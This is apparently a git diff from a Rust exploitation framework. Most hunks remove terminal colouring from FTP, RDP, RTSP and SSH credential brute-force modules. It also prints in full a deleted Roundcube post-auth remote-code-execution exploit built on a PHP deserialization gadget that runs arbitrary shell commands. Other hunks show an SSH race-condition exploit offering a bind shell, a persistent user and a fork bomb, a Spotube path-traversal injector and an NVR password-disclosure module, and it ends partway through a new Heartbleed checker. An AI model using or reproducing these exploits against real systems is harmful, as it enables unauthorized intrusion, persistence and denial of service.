// (Optional: notifications for empty lists can remain here)
let mut tasks = FuturesUnordered::new();
@@ -332,7 +331,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -340,12 +339,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -360,7 +359,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -369,7 +368,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
@@ -377,11 +376,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref()).map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect())
Ok(reader.lines().filter_map(Result::ok).collect())
}
fn log(verbose: bool, msg: &str) {
+5 -6
View File
@@ -1,5 +1,4 @@
use anyhow::Result;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -176,7 +175,7 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -184,13 +183,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
println!("This field is required. Please provide a value.");
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
print!("{} [{}]: ", msg, default_val);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -205,7 +204,7 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
print!("{} {} : ", msg, options);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -217,7 +216,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
}
}
}
@@ -1,7 +1,6 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -64,16 +63,12 @@ pub async fn run(target: &str) -> Result<()> {
};
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
@@ -82,20 +77,10 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.filter_map(Result::ok)
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let mut idx = 0;
for pass in pass_lines {
@@ -310,7 +295,7 @@ async fn try_rtsp_login(
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -318,12 +303,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -334,7 +319,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -342,7 +327,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
+7 -22
View File
@@ -1,5 +1,4 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
@@ -55,24 +54,10 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n[*] Starting brute-force on {}", connect_addr);
let user_list = load_lines(&usernames_file)?;
if user_list.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let users = Arc::new(user_list);
let users = Arc::new(load_lines(&usernames_file)?);
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<String> = pass_buf
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = Vec::new();
@@ -221,7 +206,7 @@ fn format_host_port(input: &str) -> Result<String> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -229,13 +214,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -250,7 +235,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default_char);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -262,7 +247,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
+1 -2
View File
@@ -13,6 +13,5 @@ pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod roundcube;
pub mod palto_alto;
@@ -108,7 +108,7 @@ pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("{}", "Enter target port (default 443): ".cyan().bold());
print!("Enter target port (default 443): ");
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
+1 -2
View File
@@ -1,5 +1,4 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
@@ -10,7 +9,7 @@ use std::{
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{}", prompt.cyan().bold());
print!("{prompt}");
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
@@ -4,7 +4,6 @@
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
@@ -286,8 +285,7 @@ call :SleepS {random_sleep_lo}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
-1
View File
@@ -1 +0,0 @@
pub mod roundcube_postauth_rce;
@@ -1,215 +0,0 @@
use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
.decode(PNG_B64)
.unwrap_or_default()
}
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
let len = gpgconf.len();
format!(
"|O:16:\"Crypt_GPG_Engine\":3:{{s:8:\"_process\";b:0;s:8:\"_gpgconf\";s:{}:\"{}\";s:8:\"_homedir\";s:0:\"\";}};",
len, gpgconf
)
}
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
+4 -5
View File
@@ -4,7 +4,6 @@
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
@@ -72,7 +71,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
@@ -82,7 +81,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for fake track ID
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
@@ -92,7 +91,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for codec extension
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
@@ -155,7 +154,7 @@ pub async fn run(target: &str) -> Result<()> {
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("{}", "Enter port [17086]: ".cyan().bold());
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
@@ -1,10 +1,9 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -77,7 +76,7 @@ fn normalize_target(ip: &str, port: u16) -> Result<String> {
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
@@ -111,7 +110,7 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
println!("[*] Shell session ended.");
Ok(())
}
@@ -130,10 +129,9 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
Ok(_) => bail!("Connection closed while receiving data"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -213,28 +211,27 @@ async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
println!("Available Post-Ex Actions:");
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
println!(" 3. Fork bomb (Denial/Crash)");
println!(" 4. Interactive PTY shell (recommended)");
}
fn get_postex_command(action: u8) -> String {
@@ -254,10 +251,10 @@ fn get_postex_command(action: u8) -> String {
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
println!("[*] Target: {}:{}", target_ip, port_num);
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
print!("Select post-ex action [1-4, default 4]: ");
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
@@ -265,7 +262,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
print!("Enter the number of attempts per GLIBC base: ");
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
@@ -275,7 +272,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
}
}
}
@@ -291,9 +288,9 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
for glibc_base_addr in glibc_bases {
@@ -327,7 +324,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
@@ -378,10 +375,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
println!("[*] Check chosen post-exploitation action effects.");
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
}
success_found = true;
break;
@@ -393,8 +390,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
}
Ok(())
}
@@ -411,7 +408,7 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
print!("Enter the target port number (e.g., 22): ");
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
@@ -423,10 +420,10 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
}
}
}
+4
View File
@@ -1 +1,5 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
@@ -1,7 +1,7 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use cipher::{BlockDecrypt, KeyInit};
use cipher::generic_array::GenericArray;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
@@ -16,6 +16,8 @@ use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
use cipher::consts::U16;
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
@@ -24,9 +26,7 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
@@ -47,8 +47,7 @@ fn parse_target(target: &str) -> Result<(String, u16)> {
return Ok((parts[0].to_string(), port));
}
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
println!("[?] No port provided. Enter port:");
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
+121
View File
@@ -0,0 +1,121 @@
use anyhow::{Context, Result};
use std::io::{self, Write};
use std::net::ToSocketAddrs;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(443);
run_with_port(target, port).await
}
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let raw = target.trim();
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, port);
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
.next()
.context("Could not resolve target address")?;
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
_ => {
println!("[-] No response to Client Hello");
return Ok(());
}
}
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
}
_ => {
println!("[-] Target does not seem vulnerable (no heartbeat response).");
}
}
Ok(())
}
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let mut random = vec![0u8; 32];
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0);
hello.extend_from_slice(&0x0002u16.to_be_bytes());
hello.extend_from_slice(&0x0033u16.to_be_bytes());
